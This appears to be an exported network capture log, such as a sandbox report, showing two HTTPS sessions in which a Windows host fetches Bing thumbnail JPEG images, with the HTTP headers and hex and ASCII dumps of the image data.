Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49735	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:16 UTC	346	OUT	GET /th?id=OADD2.10239381247928_1BKQC421ZHFN6XQ25&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 11:13:16 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 223199 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 68B5DFC0FFCE4E068FBD2E96FAC9E0E1 Ref B: EWR30EDGE0722 Ref C: 2024-12-17T11:13:16Z Date: Tue, 17 Dec 2024 11:13:15 GMT Connection: close
2024-12-17 11:13:16 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 30 3a 33 30 20 31 35 3a 33 38 3a 35 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:10:30 15:38:538C
2024-12-17 11:13:16 UTC	16384	IN	Data Raw: dd fb b4 67 77 de fb b4 2e ef f8 0f fb 74 ad f2 fd d8 ff 00 dc a0 04 cb 7f bd 4e cf ef 3f f8 8a 14 61 13 6d 27 c9 40 0b 86 6f f7 a9 7a c9 f2 ff 00 7e 91 77 7d e6 f9 b6 d3 73 f7 1a 80 15 a9 d8 fd df fa cd df df a6 a9 db 42 ff 00 7b ee d3 b0 0e cd 2e 55 69 ab fe d4 7b 76 d3 b7 35 16 28 17 fd 5e e6 f9 b7 53 db 6a fc d4 91 ee fb bf c5 46 dd df f2 d2 90 0a a5 bc bf ef 35 19 db f3 7f 0d 22 be ef bd ff 00 03 a5 ff 00 d9 e8 01 d1 ed 5f bd fc 34 31 fe ec 9f f8 fd 35 4f f1 2f dd a5 a0 07 37 fa cd ad f7 68 51 bb e6 a1 4a f9 7f de 5a 3f d9 a0 01 be 5f 9b f8 a9 eb f2 c7 49 9f e2 6a 37 fe ef fd 67 de a0 05 ff 00 6b f8 a8 53 b7 e5 fb d4 62 8c ff 00 76 a4 01 4f f1 7f 0d 39 7e 5f fd 0a 86 1f dd f9 da 85 1f de ff 00 7a 82 84 61 fb ca 72 9f de 7f b5 4d 66 db fe cd 3b 76 24 Data Ascii: gw.tN?am'@oz~w}sB{.Ui{v5(^SjF5"_415O/7hQJZ?_Ij7gkSbvO9~_zarMf;v$
2024-12-17 11:13:16 UTC	16384	IN	Data Raw: 57 fd 65 0a 3f f1 da 1b 77 de a7 61 5c 46 ff 00 c7 b7 d3 98 7e f3 73 52 7f 1d 2b 52 18 8a ac d2 6d ff 00 d0 29 1b e5 ff 00 96 74 bf f2 d3 75 2f fb d4 00 8a 57 f8 a9 14 53 9a 8f bb ff 00 2c ea 80 67 dd fb df 76 8f bd f2 d2 b7 cd f3 51 8f dd fc d4 00 9b 3f 77 f3 50 c3 6f cb fc 54 ac 37 7f b5 49 40 0a c1 7e f2 d2 63 f7 9b a9 54 ff 00 f6 74 6c 6f 9e 92 1a 0d 9b a9 bf 77 e5 fe 1a 76 c6 a4 c7 f7 69 0c 4c 52 e3 f8 bf 79 ba 85 ff 00 57 b6 86 3f bb f9 6a 85 71 ad b7 fe 05 fc 74 ef f9 67 f3 51 46 7f 79 4a e1 70 ff 00 96 9f ed 52 b6 ff 00 2e 9a a3 fb b4 ff 00 95 3e ef cd 45 c6 35 7f f1 ef bb 48 a7 77 cc b4 fc d2 6f fe 15 a2 e0 23 7c df fb 3d 22 8d df 2d 1f fb 2d 3b 3f de a1 80 2d 2f ca d4 99 56 ff 00 80 d3 be 5f bc b4 86 81 7f f1 ea 6f dd fb bf 35 2a fc d4 7f cb 3f Data Ascii: We?wa\F~sR+Rm)tu/WS,gvQ?wPoT7I@~cTtlowviLRyW?jqtgQFyJpR.>E5Hwo#\|="--;?-/V_o5*?
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: ff 00 b3 4e 54 5f e1 a3 3f f7 d5 2b dc 62 9a 45 f9 7e 6a 58 e9 cb f2 ff 00 b5 4a e0 11 fc df 2d 2b 7c bf 35 39 46 ea 7a 8d b2 7c b4 5c 04 8f e6 92 88 c7 f7 69 57 6b 7f 1d 39 7f d5 d1 72 81 bf d6 7c d4 63 6f cb fd da 5c 6d f9 69 7a d1 70 1b f2 b7 dd a2 9e d8 ff 00 9e 74 53 02 c3 1c d3 24 0b f7 7f d8 f9 29 f8 dd 25 27 fb 55 89 0c 6b 6d ff 00 80 d2 63 6c 74 7f db 3f bb 49 26 ff 00 e1 fe e5 34 20 a6 b0 fd de da 76 77 47 46 17 fe 05 54 80 6b 6c fe 1f fc 72 9a db 28 5f f2 f4 37 cb 56 02 63 f7 7b bf 86 85 da d4 61 96 91 86 24 db 4e c4 82 ae de 7c ba 72 f3 f3 53 16 9c c7 fe f9 a6 02 7f db 4d bf df a7 29 fe f4 94 d5 1f de a5 ff 00 66 80 17 3f c2 b4 8b fe cd 22 b2 fd d6 a1 bf d5 ed a0 56 1d 9f f8 0d 27 fb 34 ad f2 fc df ec 52 63 f7 95 42 11 5f ef ad 2a 9f e2 fe f5 Data Ascii: NT_?+bE~jXJ-+\|59Fz\|\iWk9r\|co\mizptS$)%'Ukmclt?I&4 vwGFTklr(_7Vc{a$N\|rSM)f?"V'4RcB_*
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 35 3a 3f ef 2d 04 8d c7 f7 be f5 0a 8b 4e 53 bb fe 79 d3 b0 df fc 5d 2b 8e c4 7f 32 ff 00 cb 3a 73 6e f3 29 df 76 3d bf c5 43 7f 77 f8 a9 05 88 d4 6d ff 00 e2 e9 d8 fe ef cb 4f c6 d8 e8 6f fb 67 42 62 19 ff 00 2d 3e 6a 30 9f f8 e5 3b ef 47 4e fe e7 f7 a8 15 86 29 fe 1f 32 95 7e 6f bb e6 53 a3 1b 69 54 6e f9 7c ca 4c 2c 36 3f fc 76 9f 8f ef 51 86 fb b9 a7 2f fa ba 43 06 dd e5 ff 00 b3 42 ef a4 5d cb 4e c7 fe 3b 49 92 2e 7f bb 52 2f cd f7 a4 db 4d 53 4e 8f fd 67 cd 48 05 5f f5 94 f5 3f f8 f5 32 31 b6 9e a3 fb d5 0c 09 28 cf ff 00 61 48 a7 6f cb 4f 53 fb bf 97 ee d4 0e c0 c3 fb d4 e6 0c d1 ee a6 a9 fd e7 fa ca 73 0f dd ee fe 1a 86 31 54 6d a4 6f fa e7 fc 7b 69 54 ed a7 7f b5 48 05 c6 df bb 43 50 db bc cd b4 7d df 96 80 0f e2 a7 53 77 6e fb bf 3d 3b e5 fe 2a Data Ascii: 5:?-NSy]+2:sn)v=CwmOogBb->j0;GN)2~oSiTn\|L,6?vQ/CB]N;I.R/MSNgH_?21(aHoOSs1Tmo{iTHCP}Swn=;*
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 58 0e 5f f6 64 f9 69 17 77 99 b6 97 ff 00 42 6a 6f cd f7 57 ef 52 03 43 c3 3a 36 a7 af 6a 5f 61 d1 e0 f3 5b 7f ef a6 7f 96 28 7d dd fb 7d 3a 9e d5 f4 37 84 7c 2b a4 78 1a c6 26 69 ef ae 35 25 4f de dd bf cb 2a 2b 2f cd e5 c6 73 e4 af bb 7c de d5 e5 da 0f c4 48 fc 2b e1 cb 4d 3f 43 82 49 6f 22 4d d3 5f 3f cb b1 9b f8 62 4f 6f ef fd e3 58 97 9e 23 d5 75 bd f7 9a e5 fc ef 6b bf fe 3d fe 65 8a 66 ff 00 6f bc 8d 5f a1 64 55 b2 dc b6 3e ec b9 ea c9 6b d9 79 7f c1 d6 e7 81 8e a3 89 c5 6e b9 60 bf 1f 33 e8 bd 07 c5 fa 7f fa bd 37 4d 83 ec 6b f7 df cf 5f dc b7 6d cf dd 8f a7 cc d5 1d f6 a9 3c fa cb 79 3a 6d d5 e4 32 bf 9a f3 5c ce d1 5b 27 bc 8d fc 43 d1 2b c6 34 7d 66 e5 f4 d9 96 d6 49 2d e3 5f 96 d2 dd 13 ca 5f 33 fd c4 cf 03 ff 00 d6 69 9a e7 8d 7c 41 fd 97 f6 Data Ascii: X_diwBjoWRC:6j_a[(}}:7\|+x&i5%O*+/s\|H+M?CIo"M_?bOoX#uk=efo_dU>kyn`37Mk_m<y:m2\['C+4}fI-__3i\|A
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: bd df fd 52 2f f3 6a b7 f6 38 34 db 17 db f3 32 a7 cf fd e7 f4 45 ff 00 68 d6 a7 84 74 a9 ff 00 b2 bf b4 2f 23 db 71 79 fb dd 9f dc 5f e1 5a 9e 4b 69 d7 52 49 24 8f e6 5f 9b fd 94 c5 7a ff 00 da 74 52 bb 7a 99 c3 2e ab d5 68 73 92 59 dc de 5d 3c d2 47 b6 15 4d a9 fe c7 ad 52 f0 4d a4 fa a5 d6 b1 75 27 99 fd 92 d3 2d b4 2f 0b ed 9e e5 93 af 97 fe cf ab 53 fc 5d af ae 9d 1b e8 7a 5c 73 ea 5a b5 fa 49 05 ba 27 f0 31 fe 2f c2 ba 2f 87 fa 1c 1e 0b d2 a2 b8 bc ff 00 89 f6 b4 c9 b7 63 bf ee 2d 98 7e 9c 7a 57 2e 1b 11 ed 67 ed 1f 99 b6 2a 8a a7 15 08 ae 86 f7 87 74 0f ed 48 d2 df 54 8e 3b 7b 78 be e5 ba 7f 77 d0 7f 57 ef f4 ad 1b ad 12 d9 2e a5 9a ea e2 0b 5d 3d 7e 54 b7 85 f7 33 e3 f9 56 66 9f ac eb 93 f9 d2 6a 52 24 4a ef bb e4 8f ef d4 32 5f dd dd 48 fb 7e ee Data Ascii: R/j842Eht/#qy_ZKiRI$_ztRz.hsY]<GMRMu'-/S]z\sZI'1//c-~zW.g*tHT;{xwW.]=~T3VfjR$J2_H~
2024-12-17 11:13:17 UTC	16067	IN	Data Raw: 95 67 37 79 3b b3 ae 34 d4 15 a2 b4 09 34 fb 9b 8f de 6a 97 71 db c3 fc 10 a3 d1 0c f6 36 bb 17 4d b4 f3 64 fe fb d6 5c 77 ff 00 6c 9f 6c 30 4f 79 37 fb 09 ba ba df 0a f8 2f 5c bf 74 9b 50 f2 2c 17 f8 22 77 f9 bf 2a c6 a5 58 c5 6a 69 0a 6d b3 1a 48 ee ef 64 dd 79 3f ca af fe a6 1a d0 b3 8e 2b 7b 54 58 60 92 2d cf b5 3e 4f bf 5d f6 9b f0 bd ae 24 f2 66 f1 0c f1 47 fc 69 6e 8a bb ff 00 e0 55 de e8 3f 0f f4 5b 78 d3 6c 7e 6f 94 9f 23 cb f3 35 70 d4 c6 c5 6c 74 46 85 b7 67 8c e8 3e 13 b9 bf d4 a1 9a fb 4d f3 63 ff 00 a6 b2 7f 85 7a a7 84 fc 39 63 66 8a b6 ba 15 ad bf fb f0 6e 6f fb ea bb fd 17 42 d3 22 fb d6 f2 23 2f fb 15 b1 0e 95 1b 7f ab 93 e5 fe e6 cf 96 bc da 95 ea 4d ea 74 c2 3c bb 1c 63 68 d6 bf 79 ad 3f 79 fe c5 4d a7 e8 cc f3 fe ef 4d 8d 7f db ae ee Data Ascii: g7y;44jq6Md\wll0Oy7/\tP,"w*XjimHdy?+{TX`->O]$fGinU?[xl~o#5pltFg>Mcz9cfnoB"#/Mt<chy?yMM
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 34 df 77 fd ca 6b 0f 1e ac 5e d0 f9 1f 4f f8 17 e3 cb 98 3c eb a9 34 ab 0f e2 d9 2c fb 9b e9 f2 d6 86 9f f0 1e f1 e4 45 be f1 2a 44 cd f3 79 36 f6 ad ff 00 b3 57 d4 f7 89 a7 cb 23 e9 f2 41 b5 9b ee 22 7d ef ad 5b d1 7c 34 b0 5a f9 d7 d0 46 d2 34 3f 23 bf cc d4 2a 31 07 33 e7 9f 06 fe ce 9a 53 f9 d3 6b 5a 95 db 43 f7 53 ce 7f 2b e6 fa 27 2c 6b ac d2 ff 00 66 ef 09 db c6 f2 4d 69 69 f2 a6 ef f4 87 66 67 ff 00 0a eb fc 49 e3 78 3c 2f 22 2c 9a 4c f7 17 d2 bb 79 3f 26 d5 45 fe f5 79 ef 89 3e 24 78 c5 6c 66 bc b3 f0 9d f4 56 72 bf df b8 fb d7 3e b5 ad 3a 37 8d ec 81 cd a7 63 57 c3 7e 15 d3 ec a3 db a2 e8 ba 6c 5e 57 cd e7 7d 95 7f ad 75 9a 4e a9 aa db c1 fe 95 77 1d ad aa ff 00 cf 18 f6 ef ac 2f 07 dc fc 49 d4 bc 3e 9a 84 9a 2e 9b a4 c7 71 fe a5 2e e7 dd 2e df Data Ascii: 4wk^O<4,EDy6W#A"}[\|4ZF4?#13SkZCS+',kfMiifgIx</",Ly?&Ey>$xlfVr>:7cW~l^W}uNw/I>.q..
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: d6 84 61 76 c7 4d be 7b 23 d5 b4 1b 8d 22 ea 44 9a d7 fd 22 65 7d db ee 1f 74 af fe 14 fd 73 c5 fa 65 ac 68 b3 49 3b 49 2e e6 48 52 3f 99 d5 7a 9f f7 6b cb ee 35 a8 20 9f fb 51 b5 3f b3 c6 ae bb d2 df e5 54 5f ee 7f b5 9a c7 f1 87 89 5b 52 f3 af 21 f3 3c 96 f9 5e 64 fe 08 d7 b7 b2 d5 42 d2 95 8d 6f 2e a7 69 6b e2 bb 35 7f ed 0d 1e 38 ee 26 b8 dc b0 bc df 2a c2 b5 7d 75 88 34 9b 55 db 69 22 dc 5c 3a ec 99 ff 00 e5 b4 87 da bc 0a df 5d f1 1f 88 2c 6f bf e1 0b 82 46 fb 12 79 16 92 ff 00 d3 47 fe ef ae 05 77 7f 0d ee 35 3d 3b 47 b4 6d 6a fe fa eb 52 b5 7f 91 1d 17 f7 39 fb ef e9 9a c6 b4 b9 36 66 91 8b 68 f6 bd 06 ed 6e a0 7b 75 f2 17 ca ff 00 5a fb 3e 5e 7e f6 7d ea 3b 3b 6d 1f 42 b7 9a f3 49 82 36 92 e1 d5 5d ff 00 d9 1f dd fe ed 71 d7 1e 2d b6 fb 2f 96 d2 Data Ascii: avM{#"D"e}tsehI;I.HR?zk5 Q?T_[R!<^dBo.ik58&*}u4Ui"\:],oFyGw5=;GmjR96fhn{uZ>^~};;mBI6]q-/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49734	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:16 UTC	346	OUT	GET /th?id=OADD2.10239381795372_1FAN52Y1AD18QPYNG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 11:13:16 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 755702 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8D0796A0093F41D4A6997723DCF4F874 Ref B: EWR30EDGE1009 Ref C: 2024-12-17T11:13:16Z Date: Tue, 17 Dec 2024 11:13:15 GMT Connection: close
2024-12-17 11:13:16 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1e 62 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 30 3a 34 39 3a 35 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``bExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 10:49:548
2024-12-17 11:13:16 UTC	16384	IN	Data Raw: d1 fb bf b3 4b 17 c9 bf fd a6 a9 f5 2f 0a f8 96 e2 ee e7 4e d7 a6 b4 b2 93 4a b6 ff 00 97 68 91 e1 b8 8b fb 91 d7 9f 36 bd a3 52 df b0 ce 02 3f 14 6a 5a 84 d6 53 e9 d3 7d a2 38 e4 48 e3 b6 fb ef f7 2b dd 3c 1d 14 fa 87 87 ac 77 cd 0e 95 27 c9 71 e6 4b bd ff 00 83 ef 7f bd 5e 37 e2 0b 18 34 7f 10 f8 6e d7 fb 37 56 f3 ee 22 7b 8b 6b 2b 68 91 fc cd ce ff 00 33 57 73 75 ab da 68 9f b8 4f 18 5d dc 5f 47 22 7d a6 cb ca 47 4b 76 6f ef cb 58 66 14 1d 58 43 93 4e a4 35 61 9e 34 d6 af f4 2d 5a 49 df fd 22 d6 ca d9 e4 ff 00 c7 fe f7 f8 2d 74 9f 0f 7c 5f ad 5c 6a 11 ea 3a 5e b1 0d 94 97 11 fd a2 4b 6f 35 f7 fc d5 e6 7a c6 b9 61 a8 78 7a f9 fc 99 bc b8 e4 4f b3 49 ff 00 3f 1f 3f df 7a dc f0 e6 87 1d dc d7 da 25 95 e5 a6 9d 3f 97 fb cd 4a 58 9d 12 34 d9 bd b7 7f c0 6b Data Ascii: K/NJh6R?jZS}8H+<w'qK^74n7V"{k+h3WsuhO]_G"}GKvoXfXCN5a4-ZI"-t\|_\j:^Ko5zaxzOI??z%?JX4k
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: b2 87 85 7e 1e 5d cb 77 7d 3f 89 21 bb b8 83 4a ff 00 96 7f c1 f2 bf f0 ff 00 7a b0 be 1d df 5a 68 57 5a b3 c1 a3 cb 79 24 77 9f bb 8e 4f f5 3e 57 f7 5a bb 6b af 16 6a de 1c d4 23 b1 fb 1d de 95 a9 79 93 47 24 7a 96 f7 b6 8d 77 fc ae bf df 65 fe f5 70 5e 1e be 5d 2b fb 7a d6 5d 4a d7 cf 92 e3 e4 8c c4 fb 2e 0f fb df c1 5d d0 72 94 5f 36 c2 3a cd 0f 4c fe dd b4 df a5 d9 e9 f6 52 49 27 97 e5 4b 2e ca 64 9e 15 d6 74 7f b7 7d b7 5e 8a e2 7b 78 de 4b 6b 6b 19 6b 1b c0 1a bd df 87 35 c9 35 1d 47 4d 87 51 83 fe 79 f9 bb fc bf f6 d6 ba 3d 63 fb 26 fb 49 ff 00 84 a3 44 9a 6f ed 29 3f 77 1d 97 95 fd df ee ff 00 b5 59 cb 49 58 92 d7 81 fe 27 c1 65 e0 9b 98 f5 4b 3b bb 88 e4 97 cb fb 37 9d e7 7d af fa d5 3f 10 6b 3e 0c 16 96 de 2b f8 7b 0c d6 57 51 fe e2 e2 ca e7 7f Data Ascii: ~]w}?!JzZhWZy$wO>WZkj#yG$zwep^]+z]J.]r_6:LRI'K.dt}^{xKkkk55GMQy=c&IDo)?wYIX'eK;7}?k>+{WQ
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: f0 f5 ce b7 f6 c8 6e 2f a4 91 3e db 24 5b 1f cb ff 00 ae 49 fd c3 5e 69 fb 42 ea be 1a b8 87 4d d7 bc 29 67 f6 78 f5 1b 2f f4 df 2b e4 86 4f 9f fb bf de af 7f 07 88 ad 39 28 4a 2f 97 64 ca 39 cd 57 e1 a5 dc 5a 7c 7a f7 89 7c e8 fe d1 72 f6 f1 f9 5f ea 7e 5f ee b5 4b 27 8a a4 fd df 91 fb cf b3 c9 e5 ff 00 aa f9 3e 5f 92 a8 41 e2 3b 84 f0 9c 7a 5b cd 34 92 7f ac 8e 39 7f e5 9d 1a 6c b1 ff 00 61 dc da a5 9c 31 c7 71 22 79 72 7f bb 5d cf 9b a8 1d 6e 87 ab dd c5 e1 ed 5b 51 bd 9b cc f2 f6 47 1c 7f 7f fd 67 cb f2 57 11 e0 f8 24 7f 32 f6 79 bc bf 2e e7 cc 92 3f f9 e8 8c f5 a3 7d 2d dd 96 9f 73 64 f3 7e e2 49 13 f7 9f f3 d1 d6 b7 b4 3b 6d 36 5f 0f 58 cf 3c 31 7d ba e2 47 92 39 2b 17 ee a2 4e e2 eb c4 33 a7 c1 cf 23 44 f2 63 9e e2 f7 cb ff 00 6f ca 5a d6 d3 57 fb Data Ascii: n/>$[I^iBM)gx/+O9(J/d9WZ\|z\|r_~_K'>_A;z[49la1q"yr]n[QGgW$2y.?}-sd~I;m6_X<1}G9+N3#DcoZW
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: e8 7f 0f 75 3b 0d 63 43 df af 79 37 10 59 49 34 91 dc cb 17 c9 b3 fb 9f ee d7 21 e1 9f 1e e9 3e 1c f0 f4 7a 76 af a6 c3 e7 db ff 00 a3 c9 25 cc 5b fc c4 fe 16 fc 6b a2 d2 ae 7c 3d 7b a1 dc dd 5a d9 f9 9e 5c 89 27 97 e6 bf 93 fe f7 fb be b5 8d 48 36 89 89 db f8 b7 ec 29 a2 5b be 91 0c be 5c 9b e4 b8 8e 29 7f 73 fe cf 97 ff 00 01 ac 2f 0f f8 73 c3 57 7e 1e d6 fe db 67 69 1c f7 b1 f9 71 5e cb fe ba 3f 93 ff 00 42 ae 1f 4d f1 2d 85 df f6 6a 6a 9e 4d 95 8e ab 24 d6 f2 5c f9 bb 1e dd e3 f9 53 67 d6 b1 20 f1 ef 88 74 af 13 78 81 2f 66 bb b8 8e de 44 8f ed 36 31 6f 86 dd 1b fd 5b c8 dd 39 5a e5 ad 78 ea 6b 1d cc 4f 15 7c 03 d0 b4 ff 00 df a6 b1 77 1f 99 fb bb 99 25 f9 fe f7 fe 83 5f 33 fe d1 de 08 7d 07 54 d3 b5 7b 19 fe d9 a7 ea 5e 75 bd b4 7f f2 da 09 60 7d 8e Data Ascii: u;cCy7YI4!>zv%[k\|={Z\'H6)[\)s/sW~giq^?BM-jjM$\Sg tx/fD61o[9ZxkO\|w%_3}T{^u`}
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 33 1e af f6 cb bb 8d 72 e2 34 92 4b 9f 91 21 f9 be fa 22 2d 79 64 6d 27 9d f3 d6 51 8b 7d 48 e5 3b 0b ad 42 4f 3a c7 48 b5 f2 a4 93 cc 4f 32 4f f9 e9 5b da ae b9 a9 78 52 6b ef 0d e9 7f e8 f2 5e c7 f6 7b 98 e2 fe e3 7f f6 35 ce f8 27 5e 87 46 fb 6d f3 43 14 b7 66 dd e3 8a 49 62 df e5 d1 7d 63 ab 26 a1 2d d6 a9 14 df da 37 96 df 68 8f fb f5 32 8a ea 4b 89 b1 ae 69 f3 f8 5f 49 b9 82 fb ce 8f 51 b8 8f cb f2 ff 00 e7 9f fb d5 93 e0 38 2c 65 f1 34 6f 7b 34 36 f0 47 ff 00 2d 25 8b 7a 6f ff 00 76 ad 78 aa 7d 4f 58 f1 0f fc 4d ec fe cf 3c 91 c3 e5 f9 bf ee 7d ea cd f0 e6 9f 3e a7 e2 69 34 8f 3b cb 4f 9f cc 92 2f 9f ee d2 b6 8c 0e ea 7d 2b fe 12 0f 10 c7 f6 d9 a6 8e 3f 9f cc 92 da 2f f9 65 fc 5b 52 b9 cf 8a 11 68 d6 97 77 36 5a 27 ef 2d 6c a3 48 e2 93 cd df e6 7f Data Ascii: 3r4K!"-ydm'Q}H;BO:HO2O[xRk^{5'^FmCfIb}c&-7h2Ki_IQ8,e4o{46G-%zovx}OXM<}>i4;O/}+?/e[Rhw6Z'-lH
2024-12-17 11:13:17 UTC	16384	IN	Data Raw: 87 9e 9e 6c 72 79 94 6a 97 32 5c 4d fe ba 69 13 fe 9a 55 cd 66 f3 51 f1 26 b1 73 a9 dd 79 7e 69 fd e4 b2 08 f6 0a a3 0c 29 1c d1 c9 27 fa 93 5d 88 a2 7b b7 83 fb 3e 34 4f 37 cc ff 00 96 9e 65 75 7e 1d f0 a6 99 e2 4f 0f ff 00 c4 b2 59 ad f5 18 c4 3f bc b9 99 12 da 4d df 2b af ae ea c8 f1 34 da 13 e8 76 c9 a7 cd 35 c5 d7 fc bc 7e e7 62 25 75 3f 0d fc 17 68 74 3f f8 4b ee f5 79 63 b1 b2 93 17 16 f6 df 7d e5 ff 00 96 71 fb 07 a5 27 64 07 59 f0 f7 c3 d7 da 0c b2 78 af 5d d4 af 2d e0 d1 af 7c bb 39 34 8b a4 fd fc aa 9f dd eb cb 7f 15 5e 83 c6 3a b3 f8 82 fb 5b 49 a6 b7 d3 6f 77 db c7 1c bb 1f e4 fb d2 27 4f ce ac 78 f3 c6 d1 cb f0 f7 44 d0 6c ac f4 3f 2e f6 da 18 ee 64 b6 89 3e d3 26 d7 fb 8e cb fc 15 e6 fa c6 a5 03 ff 00 c5 3d 7b 0c 5f e8 ff 00 eb 3c af ef d7 Data Ascii: lryj2\MiUfQ&sy~i)']{>4O7eu~OY?M+4v5~b%u?ht?Kyc}q'dYx]-\|94^:[Iow'OxDl?.d>&={_<
2024-12-17 11:13:17 UTC	16067	IN	Data Raw: a0 ba d3 74 fb c9 fe cd fe b2 5d 9b e4 ad 6d 63 4f f0 9d de 9f 73 e1 4d 22 cf fd 2b 5a b6 ff 00 96 71 23 fd 91 23 f9 b7 ff 00 b2 bb ab c9 e3 8f c3 d1 69 fe 7d af 9d 1c 91 ff 00 ab 92 59 7f e3 dd 3f ba b5 d9 7c 35 f1 d5 86 8f e6 25 95 e4 37 1a 95 ec 89 25 cc 9f c1 26 df f6 d6 be 76 8e 51 2f 68 aa 46 6e eb 5d 4a 54 a1 7b b3 e4 ff 00 8e 3e 0c d6 74 2f 17 5e e9 66 d2 ee e2 7f 35 ee 24 fd d6 f7 f2 bf e7 a7 fc 0a b9 ff 00 85 3f 10 3c 5f f0 e3 5a b8 b9 f0 ed ec d6 7f 6c 8f ec f7 b6 c4 7c 93 a7 f7 5d 5a bf 47 23 97 c2 fe 23 b5 be bd d4 6c f4 ff 00 b7 6a 36 c9 1f f6 b7 f1 c7 fd df 9e be 05 fd a2 bc 1f 77 e1 7f 13 47 1c f7 b1 6a 37 57 32 3d c4 b7 11 44 ff 00 c6 fb bf 8e be 87 0f 89 94 df 2c d6 a5 54 a4 96 a8 e7 f3 1e b5 ad 5c ea c9 ab dd 46 f1 ca 92 5b f9 56 bf 3a Data Ascii: t]mcOsM"+Zq##i}Y?\|5%7%&vQ/hFn]JT{>t/^f5$?<_Zl\|]ZG##lj6wGj7W2=D,T\F[V:
